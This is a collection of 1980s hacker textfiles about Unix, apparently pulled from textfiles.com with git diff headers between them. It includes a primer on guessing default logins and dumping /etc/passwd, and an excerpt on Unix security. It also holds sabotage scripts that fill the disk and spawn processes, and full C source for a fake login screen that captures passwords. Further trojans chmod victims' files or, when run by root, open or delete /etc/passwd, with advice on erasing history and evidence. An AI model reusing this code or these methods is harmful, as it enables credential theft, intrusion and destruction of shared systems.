Sixties to Current: During this time Bell Systems installed the Unix system
to provide their computer operators with the ability to multitask so that
they could become more productive, and efficient. One of the systems they
put on the Unix system was called "Elmos". Through Elmos many tasks (i.e.
billing,and installation records) could be done by many people using the same
mainframe.
Note: Cosmos is accessed through the Elmos system.
Current: Today, with the development of micro computers, such multitasking
can be achieved by a scaled down version of Unix (but just as
powerful). Microsoft,seeing this development, opted to develop their own
Unix like system for the IBM line of PC/XT's. Their result they called
Xenix (pronounced zee-nicks). Both Unix and Xenix can be easily installed
on IBM PC's and offer the same function (just 2 different vendors).
Note: Due to the many different versions of Unix (Berkley Unix,
Bell System III, and System V the most popular) many commands
following may/may not work. I have written them in System V routines.
Unix/Xenix operating systems will be considered identical systems below.
How to tell if/if not you are on a Unix system: Unix systems are quite
common systems across the country. Their security appears as such:
Login; (or login;)
password:
When hacking on a Unix system it is best to use lowercase because the Unix
system commands are all done in lower- case. Login; is a 1-8 character field. It is
usually the name (i.e. joe or fred) of the user, or initials (i.e. j.jones
or f.wilson). Hints for login names can be found trashing the location of
the dial-up (use your CN/A to find where the computer is). Password: is a 1-8 character password assigned by the sysop or chosen by the user.
Common default logins
--------------------------
login; Password:
root root,system,etc..
sys sys,system
daemon daemon
uucp uucp
tty tty
test test
unix unix
bin bin
adm adm
who who
learn learn
uuhost uuhost
nuucp nuucp
If you guess a login name and you are not asked for a password, and have
accessed to the system, then you have what is known as a non-gifted account.
If you guess a correct login and pass- word, then you have a user account.
And, if you get the root p/w you have a "super-user" account.
All Unix systems have the following installed to their system:
root, sys, bin, daemon, uucp, adm Once you are in the system, you will
get a prompt. Common prompts are:
$
%
#
But can be just about anything the sysop or user wants it to be.
Things to do when you are in: Some of the commands that you may want to
try follow below:
who is on (shows who is currently logged on the system.)
write name (name is the person you wish to chat with)
To exit chat mode try ctrl-D.
EOT=End of Transfer.
ls -a (list all files in current directory.)
du -a (checks amount of memory your files use;disk usage)
cd\name (name is the name of the sub-directory you choose)
cd\ (brings your home directory to current use)
cat name (name is a filename either a program or documentation your username has written)
Most Unix programs are written in the C language or Pascal
since Unix is a programmers' environment. One of the first things done on the
system is print up or capture (in a buffer) the file containing all user names and accounts. This can be done by doing the following command:
cat /etc/passwd
If you are successful you will see a list of all accounts on the system. It
should look like this:
root:hvnsdcf:0:0:root dir:/: joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe hal::1:2:Hal Smith:/bin:/bin/hal
The "root" line tells the following info :
login name=root
hvnsdcf = encrypted password
0 = user group number
0 = user number
root dir = name of user
/ = root directory
In the Joe login, the last part "/bin/joe " tells us which directory
is his home directory (joe) is. In the "hal" example the login name is
followed by 2 colons, that means that there is no password needed to get in
using his name.
Conclusion: I hope that this file will help other novice Unix hackers
obtain access to the Unix/Xenix systems that they may find.
On the Security of UNIX
=-=-=-=-=-=-=-=-=-=-=-=
Recently there has been much interest in the security aspects of operating
systems and software.At issue is the ability to prevent undesired disclosure of
information, destruction of information,and harm to the functioning of the
system.This paper discusses the degree of security which can be provided under
the system and offers a number of hints on how to improve security.The first
fact to face is that UNIX was not developed with security,in any realistic
sense,in mind;this fact alone guarantees a vast number of holes.(Actually the
same statement can be made with respect to most systems.)
The area of security in which is theoretically weakest is in protecting against
crashing or at least crippling the operation of the system.The problem here is
not mainly in uncritical acceptance of bad parameters to system calls (there
may be bugs in this area, but none are known)but rather in lack of checks for
excessive consumption of resources.
Most notably, there is no limit on the amount of disk storage used, either in
total space allocated or in the number of files or directories.Here is a
particularly ghastly shell sequence guaranteed to stop the system:
while : ; do
mkdir x
cd x
done
Either a panic will occur because all the i-nodes on the device are used up,
or all the disk blocks will be consumed, thus preventing anyone from writing
files on the device.In this version of the system,users are prevented from
creating more than a set number of processes simultaneously,so unless users
are in collusion it is unlikely that any one can stop the system altogether.
However, creation of 20 or so CPU or disk-bound jobs leaves few resources
available for others.Also, if many large jobs are run simultaneously,swap space
may run out, causing a panic. It should be evident that excessive consumption
of diskspace, files, swap space and processes can easily occur accidentally in
malfunctioning programs as well as at command level.In fact UNIX is essentially
defenseless against this kind of abuse,nor is there any easy fix.The best that
can be said is that it is generally fairly easy to detect what has happened
when disaster strikes ,to identify the user responsible, and take appropriate
action.In practice,we have found that difficulties in this area are rather
rare,but we have not been faced with malicious users,and enjoy a fairly
generous supply of resources which have served to cushion us against accidental
overconsumption.
The picture is considerably brighter in the area of protection of information
from unauthorized perusal and destruction.Here the degree of security seems
(almost) adequate theoretically, and the problems lie more in the necessity for
care in the actual use of the system.Each UNIX file has associated with it
eleven bits of protection information together with a user identification
number and a user-group identification number (UID and GID).
Nine of the protection bits are used to specify independently permission to
read, to write, and to execute the file to the user himself, to members of the
user's group, and to all other users.Each process generated by or for a user
has associated with it an effective UID and a real UID, and an effective and
real GID.When an attempt is made to access the file for reading, writing, or
executing UID for the process is changed to the UID associated with the file;
the change persists until the process terminates or until the UID changed again
by another execution of a set-UID file.Similarly the effective group ID of a
process is changed to the GID associated with a file when that file is executed
and has the set-GID bit set.The real UID and GID of a process do not change
when any file is executed,but only as the result of a privileged system
call.The basic notion of the set-UID and set-GID bits is that one may write a
program which is executableby others and which maintains files accessible to
others only by that program.
The classical example is the game-playing program which maintains records of
the scores of its players.The program itself has to read and write the score
file,but no one but the game's sponsor can be allowed unrestricted access to
the file lest they manipulate the game to their own advantage.
The solution is to turn on the set-UID bit of the game program. When, and only
when,it is invoked by players of the game,it may update the score file but
ordinary programs executed by others cannot access the score. There are a
number of special cases involved in determining access permissions. Since
executing a directory as a program is a meaningless operation,the
execute-permission bit, for directories, is taken instead to mean permission to
search the directory for a given file during the scanning of a path name; thus
if a directory has execute permission but no read permission for a given user,
he may access files with known names in the directory,but may not read (list)
the entire contents of the directory.
Write permission on a directory is interpreted to mean that the user may create
and delete files in that directory;it is impossible for any user to write
directly into any directory..Another, and from the point of view of security,
much more serious special case is that there is a ``super user'' who is able to
read any file and write any non-directory.The super-user is also able to change
the protection mode and the owner UID and GID of any file and to invoke
privileged system calls.It must be recognized that the mere notion of a
super-user is a theoretical, and usually practical, blemish on any protection
scheme.
The first necessity for a secure system is of course arranging that all files
and directories have the proper protection modes.Traditionally, UNIX software
has been exceedingly permissive in this regard;essentially all commands create
files readable and writable by everyone.In the current version,this policy may
be easily adjusted to suit the needs ofthe installation or the individual user.
Associated with each process and its descendants is a mask, which is in effect
anded with the mode of every file and directory created by that process. In
this way, users can arrange that, by default,all their files are no more
accessible than they wish.The standard mask, set by login,allows all permiss-
ions to the user himself and to his group,but disallows writing by others.
To maintain both data privacy and data integrity,it is necessary, and largely
sufficient,to make one's files inaccessible to others. The lack of sufficiency
could follow from the existence of set-UID programs created by the user and the
possibility of total breach of system security in one of the ways discussed
below(or one of the ways not discussed below).
For greater protection,an encryption scheme is available.Since the editor is
able to create encrypted documents, and the crypt command can be used to pipe
such documents into the other text-processing programs,the length of time
during which clear text versions need be available is strictly limited.The
encryption scheme used is not one of the strongest known, but it is judged
adequate, in the sense that cryptanalysisis likely to require considerably more
effort than more direct methods of reading the encrypted files.For example, a
user who stores data that he regards as truly secret should be aware that he is
implicitly trusting the system administrator not to install a version of the
crypt command that stores every typed password in a file. Needless to say, the
system administrators must be at least as careful as their most demanding user
to place the correct protection mode on the files under their control.
In particular,it is necessary that special files be protected from writing, and
probably reading, by ordinary users when they store sensitive files belonging
to otherusers.It is easy to write programs that examine and change files by
accessing the device on which the files live.
On the issue of password security,UNIX is probably better than most systems.
Passwords are stored in an encrypted form which, in the absence of serious
attention from specialists in the field,appears reasonably secure, provided its
limitations are understood.In the current version, it is based on a slightl y
defective version of the Federal DES;it is purposely defective so that
easily-available hardware is useless for attempts at exhaustive
key-search.Since both the encryption algorithm and the encrypted passwords are
available,exhaustive enumeration of potential passwords is still feasible up to
a point.We have observed that users choose passwords that are easy to
guess:they are short, or from a limited alphabet, or in a dictionary.
Passwords should be at least six characters long and randomly chosen from an
alphabet which includes digits and special characters.
Of course there also exist feasible non-cryptanalytic ways of finding out
passwords.For example: write a program which types out ``login:''on the
typewriter and copies whatever is typed to a file of your own. Then invoke the
command and go away until the victim arrives..The set-UID (set-GID)notion must
be used carefully if any security is to be maintained. The first thing to keep
in mind is that a writable set-UID file can have another program copied onto
it.
For example, if the super-user command is writable,anyone can copy the shell
onto it and get a password-free version of Shell Unix.A more subtle problem can
come from set-UID programs which are not sufficiently careful of what is fed
into them.To take an obsolete example,the previous version of the mail command
was set-UID and owned by the super-user.This version sent mail to the r
ecipient's own directory.The notion was that one should be able to send mail to
anyone even if they want to protecttheir directories from writing. The trouble
was that mailwas rather dumb:anyone could mail someone else's priva te file to
himself.Much more seriousis the following scenario: make a file with a line
like one in the password filewhich allows one to log in as the super-user.Then
make a link named ``.mail'' to the password file in some writable directory on
the same device as the password file (say /tmp). Finally mail the bogus login
line to /tmp/.mail;You can then login as the superuser,clean up the
incriminating evidence,and have your will.
The fact that users can mount their own disks and tapes as file systems can be
another way of gaining super-user status.Once a disk pack is mounted, the
system believes what is on it.Thus one can take a blank disk pack,put on it
anything desired,and mount it.There are obvious and unfortunate consequences.
For example:a mounted disk with garbage on it will crash the system;one of the
files on the mounted disk can easily be a password-free version of Shell Unix;
other files can be unprotected entries for special files. The only easy fix
for this problem is to forbid the use of mount to unpriv- ileged users.A
partial solution, not so restrictive,would be to have the mount command examine
the special file for bad data,set-UID programs owned by others ,and accessible
special files,and balk at unprivileged invokers.
Scott Walters London, CANADA
walterss@julian.uwo.ca <CarbonBoy>
PGP 31 03 1B E1 C7 6E 3A EC 97 32 01 BA 5B 05 5D FB
finger me for public key block
MIME-mail welcome
'Beware the fury of a patient man.'

130
textfiles.com/hacking/UNIX/unix-nas.txt Normal file
View File

@@ -0,0 +1,130 @@
===============================================================================
------------
Unix Nasties
------------
By Shooting Shark
Written on April 3, 1986
===============================================================================
Summary: Methods of sabotaging your favorite Unix system.
Preface: I do not advocate utilizing ANY of the methods I put forth in this
file. Unix is a cool operating system, perhaps one of the best
systems ever designed in many respects. If you have access to a Unix
system, you should LEARN UNIX AND LEARN C, because that is where the
money is in the computer world. However, Unix is a relatively
insecure operating system which is easy to fuck up. This file
explains a few ways of doing so.
Crash The System
----------------
Unix has no built-in provision for the maximum amount of disk space allowed per
user. Thus, one user can grab all the disk space on the system and effectively
prevent anyone else from writing to the disk. A simple way of grabbing all the
disk space is to create subdirectory after subdirectory until it is no longer
possible. Here are a few ways of doing it.
1> Create a file with the following lines:
mkdir subdir
cd subdir
source /u1/mydir/crash
Call it crash. The last line ("source /u1/mydir/crash") should be altered
so that it will look for the file in your directory. If your directory is
/u3/students/jeff, the last line should say "source
/u3/students/jeff/crash". After you write the above file, type:
% source crash
and wait...within a few minutes the program will abort because it won't
have any more room on the disk. Neither will anyone else.
2> Here's a more elegant way of doing the same thing. Create this "endless
loop" shellscript:
while : ; do
mkdir subdir
cd subdir
done
and then "source" the file. If you are in the "sh" shell (if you are, you
will probably have a "$" prompt) you can type "while : ; do" from the $
prompt. You will then get a > prompt. Type the next three lines and sit
back.
3> If you'd like to set the process in motion and hang up, and the file is
called crash, type:
% nohup source crash &
and log off. This will start it as a background process, allowing you to
log off. However, log off QUICKLY, since if you used the first example for
your crash file, it will also eat up background processes like crazy which
will also fuck up the system to some extent. Which brings us to...
Slow Down The System Immensely
------------------------------
There are many ways of doing this, the method being creating a sufficiently
large number of background processes. Here's one specific example. Create a
file called "slow1" with the following lines:
w &
source slow1
create a file called "slow2" with:
source slow1 &
source slow2
and execute slow2 with
% slow2
or
% slow2 &
This will create 25 background processes, each one running 25 background
processes. The system will hardly move after you've got each one running.
Messing Up A Directory
----------------------
Many file-handling commands use "-" options. Create a file with a "-" at the
beginning of its name by doing this:
cat > -filename
[now type a few lines, maybe something rude like "ha ha you can't delete this
file".] Type a ^D (control-d) to end input. You now have a file called
-filename in your directory. It will be VERY difficult to remove this file.
If you were to try rm (remove) -filename or mv (rename) -filename, the rm or mv
program would interpret -filename as an option, not a file, and would give you
an error message telling you that -filename was not a valid option...thus, the
file stays there obnoxiously.
Create a couple of hundred files with "-" as the first characters in their
names...it will be a royal pain for the person who is blessed with these new
files, and they will probably just have to get a new login.
Conclusion
The use of any of these techniques is quite irresponsible, and if anyone did
this to my Unix system, I'd be quite pissed. That is why I strongly recommend
that you never use these tricks.
So Long,
Shooting Shark
"Some people have a bad attitude, and I say, if they want to act tough, beat
'em up!" - Blue Oyster Cult
-------------------------------------------------------------------------------
For more information on UNIX sabotage and cracking, see the following articles:
Ritchie, Dennis M. [he wrote Unix] "On the Security of UNIX." Programmers
Manual for UNIX System III Volume II. Supplementary Documents.
Filipski, Alan and Hanko, James. "Making UNIX Secure." BYTE Magazine, April
1986, pp 113-128.
===============================================================================


357
textfiles.com/hacking/UNIX/unix-tro.txt Normal file
View File

@@ -0,0 +1,357 @@
------------------
UNIX Trojan Horses
------------------
By Shooting Shark of Tiburon Systems / R0DENTZWARE - 6/26/86
Introduction
------------
"UNIX Security" is an oxymoron. It's an easy system to brute-
force hack (most UNIX systems don't hang up after x number of login
tries, and there are a number of default logins, such as root, bin,
sys and uucp). Once you're in the system, you can easily bring
it to its knees (see my previous Phrack article, "UNIX Nasty Tricks")
or, if you know a little 'C', you can make the system work for you
and totally eliminate the security barriers to creating your own
logins, reading anybody's files, etcetera. This file will outline
such ways by presenting 'C' code that you can implement yourself.
Requirements
------------
You'll need a working account on a UNIX system. It should be
a fairly robust version of UNIX (such as 4.2bsd or AT&T System V)
running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the
best results. If you go to school and have an account on the school
system, that will do perfectly.
Notes
-----
This file was inspired an article in the April, '86 issue of
BYTE entitled "Making UNIX Secure." In the article, the authors say
"We provide this information in a way that, we hope, is interesting and
useful yet stops short of being a 'cookbook for crackers.' We have
often intentionally omitted details." I am following the general
outline of the article, giving explicit examples of the methods they touched
on.
An unrelated note: Somewhere there's a dude running around using
the handle "Lord British" (not THE Lord British...). This is a message
for LB: "Fuck off and die."
Here we go...
Project One: Fishing For Passwords
-----------------------------------
You can implement this with only a minimal knowledge of UNIX and
C. However, you need access to a terminal that many people use -
the computer lab at your school, for example.
When you log onto a typical UNIX system, you see something like this:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password: (not printed)
The program I'm giving you here simulates a logon sequence. You
run the program from a terminal and then leave. Some unknowing fool
will walk up and enter their login and password. It is written to a
file of yours, then "login incorrect" is printed, then the fool is
asked to log in again. The second time it's the real login program.
This time the person succeeds and they are none the wiser.
On the system, put the following code into a file called 'horse.c'.
You will need to modify the first 8 lines to fit your system's appearance.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* define's are like macros you can use for configuration. */
define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/
define LOGIN "login: "
/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
define PASSWORD "password:"
/* The above is the password prompt. You shouldn't have to change
* it, either.
*/
define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.
*/
define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
include <curses.h>
include <signal.h>
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
OK, as I said, enter the above and configure it so it looks exactly
like your system's login sequence. To compile this program called
'horse.c' type the following two lines: (don't type the %'s, they are
just a sample prompt)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
You now have the working object code in a file called 'horse'. Run it,
and if it doesn't look like your systems logon sequence, re-edit horse.c
and re-compile it. When you're ready to put the program into use, create
a new file and call it 'trap' or something. 'trap' should have these two
commands:
horse (this runs your program)
login (this runs the real login program)
to execute 'trap' type:
% source trap (again, don't type the %)
and walk away from your terminal...
After you've run it successfully a few times, check your file called
'stuff' (or whatever you decided to call it). It will look like this:
user john has password secret
user mary has password smegma
etc.
Copy down these passwords, then delete this file (it can be VERY
incriminating if the superuser sees it).
Note - for best results your terminal should be set to time-out after
a few minutes of non-use - that way, your horse program doesn't
run idle for 14 hours if nobody uses the terminal you ran it on.
-----
The next projects can be run on a remote system, such as the VAX in
Michigan you've hacked into, or Dartmouth's UNIX system, or whatever.
However, they require a little knowledge of the 'C' language. They're
not something for UNIX novices.
Project Two: Reading Anybody's Files
-------------------------------------
When somebody runs a program, they're the owner of the process created
and that program can do anything they would do, such as delete a file
in their directory or making a file of theirs available for reading
by anybody.
When people save old mail they get on a UNIX system, it's put into
a file called mbox in their home directory. This file can be fun
to read but is usually impossible for anybody but the file's owner
to read. Here is a short program that will unlock (i.e. chmod 777,
or let anybody on the system read, write or execute) the mbox file
of the person who runs the program:
----- Code Begins Here -----
include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
So the question is: How do I get my target to run this program that's
in my directory?
If the system you're on has a public-messages type of thing (on
4.xbsd, type 'msgs') you can advertise your program there. Put the
above code in another program - find a utility or game program in
some magazine like UNIX WORLD and modify it and do the above before
it does it's real thing. So if you have a program called tic-tac-toe
and you've modified it to unlock the mbox file of the user before it
plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program
running that you should all try. It's in my directory." or whatever.
If you don't have means of telling everybody on the system via a public
message, then just send mail to the specific people you want to trap.
If you can't find a real program to modify, just take the above program
and add this line between the two '}' lines at the end of the program:
printf("Error opening tic-tac-toe data file. Sorry!\n");
when the program runs, it will print the above error message. The user
will think "Heh, that dude doesn't know how to write a simple tic-tac-
toe program!" but the joke's on him - you can now read his mail.
If there's a specific file in a user's directory that you'd like to
read (say it's called "secret") just throw together this general
program:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
called super_star_wars, will you try it out?"
You can use your imagination. Think of a command you'd like somebody
to execute. Then put it inside a system() call in a C program and
trick them into running your program!
Here's a very neat way of using the above technique:
Project Three: Become the superuser
-----------------------------------
Write a program that you can get people to run. Put this line in
it somewhere:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
This checks to see if the root login is running your program. If
he is, you can have him execute any shell command you'd like.
Here are some suggestions:
"chmod 666 /etc/passwd"
/etc/passwd is the system's password file. The root owns this
file. Normally, everyone can read it (the passwords are encrypted)
but only the root can write to it. Take a look at it and see how it's
formatted if you don't know already. This command makes it possible
for you to now write to the file - i.e. create unlimited accounts for
yourself and your friends.
"chmod 666 /etc/group"
By adding yourself to some high-access groups, you can open many
doors.
"chmod 666 /usr/lib/uucp/L.sys"
Look for this file on your system if it is on the uucp net. It
contains dialups and passwords to other systems on the net, and normally
only the uucp administrator can read it. Find out who owns this file
and get him to unknowingly execute a program to unlock it for you.
"rm /etc/passwd"
If you can get the root to execute this command, the system's
passwd file will be removed and the system will go down and will
not come up for some time to come. This is very destructive.
-----
If you are going to go about adding a trojan horse program to the
system, there are some rules you should follow. If the hidden purpose
is something major (such as unlocking the user's mbox or deleting all
of his files or something) this program shouldn't be a program that
people will be running a lot (such as a popular computer game) - once
people discover that their files are public access the source of the
problem will be discovered quite easily. Save this purpose for a 'test'
program (such as a game you're in the process of writing) that you
ask individual people to run via mail or 'chatting' with them. As I
said, this 'test' program can bomb or print a phony error message after
completing its task, and you will just tell the person "well, I guess
it needs more work", wait until they log off, and then read whatever
file of theirs that you've unlocked. If your trojan horse program's
sole purpose is to catch a specific user running it - such as the
root or other high-powered user - you can put the code to do so
in a program that will be run a lot by various users of the system.
Your modification will remain dormant until he runs it.
If you can't find the source to 'star trek' or whatever in C, just
learn C and convert something from pascal. It can't hurt to learn
C as it's a great language. We've just seen what it can do on a
UNIX system. Once you've caught the root (i.e. you can now modify
the /etc/passwd file) remove the spurious code from your trojan horse
program and you'll never be caught.
That's it...if you have any questions or comments or you just want
to bitch at me, call this system:
The Matrix
415/922-2008
101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.
Lord British, I *dare* you to call.

2654
textfiles.com/hacking/UNIX/unix.001 Normal file
View File

File diff suppressed because it is too large Load Diff

432
textfiles.com/hacking/UNIX/unix.hal Normal file
View File

@@ -0,0 +1,432 @@
===============================================================================
RUSH2112
Presents
A HALE Production
H ackers A gainst L aw E nforcement
Call HALE Hq. (619)660-67xx
Active HALE members are: Ripper, Trashman, Rush2112.
The Underground Newsletter: Vol I. Issue I, Part I
===============================================================================
Note: Feel free to distribute the file provided none of its contents or
credits are changed.
Topic: A Guide to Unix Systems, Part I.
Date: September 1, 1989.
Foreword: This file is compiled from my experiences on both BSD and Sys V
Unix on VAX 750/780 mainframes, AT&T 3B20 and Pyramid Technology's
mainframes.
In today's world, as a hacker, you are nothing unless you learn some
of the more popular operating systems around used on minis, mainframes, super-
computers and the like. In this file I will attempt (to the best of my
ability) to introduce you to one of those operating systems - namely - the
world of Unix. It is hoped that by reading this file you can pick up perhaps
enough of a working knowledge so that if by chance in your hacking exploits you
come across a Unix system (and you will) you'll know what to do.
There is NO WAY to cover everything about Unix in a file so this will
be the first of many that I hope to release in the future. If I find there are
stuff I have not mentioned I will write more files as needed. In Part II, I
plan to give you a tutorial on what to do while you're on-line in regards to
hacking and using essential system utilities. Have fun.
Usually (unless modifified by the system administrator or one with such
privileges), you can tell if you've connected to a Unix system of some type by
the login prompt which looks like this:
login:
Pretty simple huh? Anyway, that is the standard login prompt, it may or may
not be preceded by a message telling you what type of Unix or system you have
connected to.
If you try to login with an illegal login name and/or an illegal
password the system will respond as such and as you to try again:
login:hacker
password:
login incorrect
login:
(Note the password is not echoed in any form)
In Part I of this Unix tutorial I'd like to start with an overview of
the Unix system before I get into some of the more interesting stuff (so bear
with me all you Unix experts). Then I will go through the login process and
the /etc/passwd file and how it is structured. This will not be an in-depth
look at all, merely an overview. Some day I will write an in-depth study to
accompany this file and the files that follow for the more advance user/hacker.
There are basically 2 types of Unix systems that you will most likely
come across. They are:
I. BSD Unix - from UC Berkeley's (B)erkeley (S)oftware (D)istributors
II. System V UNIX - from AT&T (how nice - I know all you phreakers are smiling!)
(Other spinoff's of the above 2 will not be discussed - such as Ultrix,
Minix, Xenix, etc...)
They are alike in many respects but both have their differences, hence
their are advantages and disadvantages to both of the systems, BSD and Sys V.
Perhaps the main difference between the two are the default shell that each
uses as the user interface to the system utilities.
BSD Unix defaults to the csh (C-Shell) while AT&T's Sys V uses the sh
(Bourne shell). But on both of these systems both shell types are available to
the user. A third optional shell which is also pretty popular is the ksh
(Korn shell). The way to recognize the default shells when you see them is by
their default prompt. The csh uses the % symbol as the prompt while the sh
uses the $ symbol as the prompt.
Now let's talk about files, shall we? The MOST important file of all
on ANY UNIX system is the password file. This file holds information about
all the accounts on the system, passwords, and other information. Without
this file no one can log in and use the system. You can find this file on any
system in the /etc directory. It is called simply 'passwd'. The full
pathname is /etc/passwd (of course).
The /etc/passwd file is stuctured as such:
Each user has an entry in the passwd file that holds his account information.
Among the information included on each user entry line is his login name,
his password (encrypted), his user id, his group id, his home directory, his
name, and his startup program if any. Basically it looks something like this:
------------------------ Sample /etc/passwd file --------------------------
General format of each entry:
login:password:user-ID:group-ID:info:home directory:startup program
root:Arllz76Dnq:0:0:The & of All Evil:/:/bin/csh
jsmith:Yi83amq9:102:100:John Smith:/usr/jsmith:/bin/sh
who::99:500:Who's on:/usr/ucb:/bin/who
daemon:r6Eeu:1:1:The DEVIL himself:/etc:/bin/csh
bin:mb033yt:3:3:The Keeper of the Flame:/etc:/bin/csh
info::508:501:Library user group:/usr2/info:/usr2/bin/rsh
.....
..... [ and so on ]
.....
----------------------------------------------------------------------------
Now we'll examine each entry. Remember that each field is separated
by the colon. So in the first entry in /etc/passwd given above, we can tell
the following about the entry.
login name is: root
Password (encrypted): Arllz76Dnq
User ID: 0
Group ID: 1
Info (usually owner): root
Home Directory: /
Startup Program: /bin/sh
The second entry in /etc/passwd looks like this:
login name is: jsmith
Password (encrypted): Yi83amq9
User ID: 102
Group ID: 100
Info (usually owner): John Smith
Home Directory: /usr/jsmith
Startup Program: /bin/sh
But now you get the general format...so let's discuss some things
about the field.
I. The login field
This is the login name that you use to login at the prompt of the Unix
system. During the login process, after you enter the login and the password
the system will then call routines to search the 1st field of each entry
in /etc/passwd to see if any login names match up with the one you have given
it. If none exists it will report the "login incorrect" message and start
prompting for a new login name and new password.
II. The Password field
If the login name is valid, Unix then takes your password entry and encrypts
it then compares it against the encrypted password in the 2nd field of the
login name entry (see I. The login field). If the two passwords match up, the
login process will continue, otherwise the "login incorrect" message will be
displayed. I'll explain later what goes on when comparisons of the encrypted
passwords take place. If the Password Field contains null :: then no password
is needed and the system logs you into the home directory and executes the
startup program. If the Password Field contains :,.: then upon login the
system will run the passwd utility and assign that account a password. (This
is nice if you're a system administrator, you create an account for your
friend then put the ",." in the password field and he'll set his own password
upon login.
III. The UID (UserID) field
If everything is correct (login name and password) then the system proceeds
to put your in your home directory. You are then given a UID from your entry
in the /etc/passwd file. All UID's fall in the range 0-65535 with 0 as the
superuser UID (see /etc/passwd example). The system reserves UID 0-99 for
special accounts. UID's are used by the system and its utilities to control
both access levels and file ownership (as determined by the ls utility - more
on that later).
IV. The GID (GroupID) field
The Group ID is used to associate the user with a certain group, used by
Unix primarily for access levels as determined by file protections. (i.e.
a member who is not in a group can not get group privileges on files for that
group, even though file protections for the file say all privileges to group
users.) GID's fall in the range 0-655535 with GID 1 being the default. All
GID's between 0-99 are reserved.
V. The Information field
This field usually holds the account owner's name though it can be used
for anything actually. I have seen it used to describe the account function
(see the sample /etc/passwd file on the entry for login name "who"), and also
to hold people's phone extension, etc..
VI. The Home Directory Field
This field should have the full pathname to your home directory. On many
UNIX systems it is usually in the format of /usr/{loginname} (See the
entry for login name "jsmith"). Not necessarily your PERMANENT home
directory, one can change it by reassigning an alternate path to the system
variable $HOME (on Sys V).
VII. The Program Field
Usually this field holds the startup program to execute once the login
procedure has been completed. If left blank then the default startup program
will be the shell assigned to the Unix system. In the our example /etc/passwd
file, the entry for login name who, will execute the who command in /bin/who
once you log in. However, after the command finishes executing, it will exit
the system as there is no password on the account, there is no way to stay
logged in. On the info account however, you will remain login until you type
exit or logout or CTRL-D as the program running there is a shell. Though not
a full Bourne shell or C-shell, the restricted shell (rsh) does allow to you
play around a little.
Well, that about does it for what I want to cover in Part I. Look for
Part II coming out real soon. I will be going into details what to do once
online with an account and how to go about getting an account. This file is
for informational purposes only.
------------------------------------------------------------------------------
Brought to you by: The Apple Bandit 10-89
===============================================================================
RUSH2112
Presents
A HALE Production
H ackers A gainst L aw E nforcement
Call HALE Central. (619)472-0xxx
Active HALE members are: Ripper, Trashman, Rush2112.
The Underground Newsletter: Vol I. Issue I, Part II
===============================================================================
Note: Feel free to distribute the file provided none of its contents or
credits are changed.
Date: September 3, 1989.
Topic: A Guide to Unix Systems, Part II.
In Part I of TUN, I explained the very basic fundamentals of the
Unix operating system. In Part II, which I'm sure a lot of you will be
more interested in, I will show you a sample run of how and what a hacker
would do (for example - what I would do) if I were on some unknown Unix
account.
I. Access to a Unix account.
First off, you need to find yourself an account. Briefly, here are
some of the most popular methods I use some of which are hard and some of
which are easy.
1. You can try to hack one out at the login: prompt. Of course this
is the old traditional method of trial and error and some standard login
accounts. (It is suggested but as a last resort - though it has worked for me
in the past I opt for other routes to getting an account.) Well, the first
thing of course when you hit a Unix system is to try the standard accounts.
This would include: uucp, nuucp, daemon, ftp
Some systems include public accounts that you may also want to try
as many of them give you shell access.
You might want to try: guest, info, bbs, games
Sooner or later, you'll find a system that has a vulnerability like
non-passworded accounts or simple passwords for a login. Some of the things
you should try are the login names as a password. Even the magazine UNIX
Review claims it was surprised how entries in /etc/passwd on systems they
checked used login names as the actual passwords. My own experiences shows
this is true.
2. You can get one if you know someone who already has a Unix account.
(I find this works very well, by working from the inside you're guaranteed to
get an account if you know what you're doing.)
Of course the hack attack from the login: prompt could be fruitless
and you may never get an account this way so the best way to get into a Unix
system is from the inside. This means of course you know someone on that
system with an account, who could help you find an account either by searching
the /etc/passwd for non-passworded account with shell access. Or hunting the
entire file system for files with "other" and/or "group" privileges in hopes
of finding a password or some account names or other neat info to get you
started on Unix.
3. You can try a trojan horse program to gain someone's login and
password. Some popular trojan horses are password capturing programs and
emulators that emulator the login screen. This method by-far is the EASIEST
way to do it but it requires you have an account to run the trojan horse
from. This can be done easily if your friend lets you use his account. You
won't even have to tell him what you're using it for.
I'll have more about this at a later date. Maybe an issue on trojan
horses and emulators, etc.. is in order?
II. Working with an account.
Once you have access some important points to remember and do are:
1. Set history to 0 if on BSD or erase .history on Sys V before logoff
2. Turn off your messages.
3. Get a buffer of the /etc/passwd.
4. Get a buffer of the login process.
5. Get a buffer of the ENTIRE file system online.
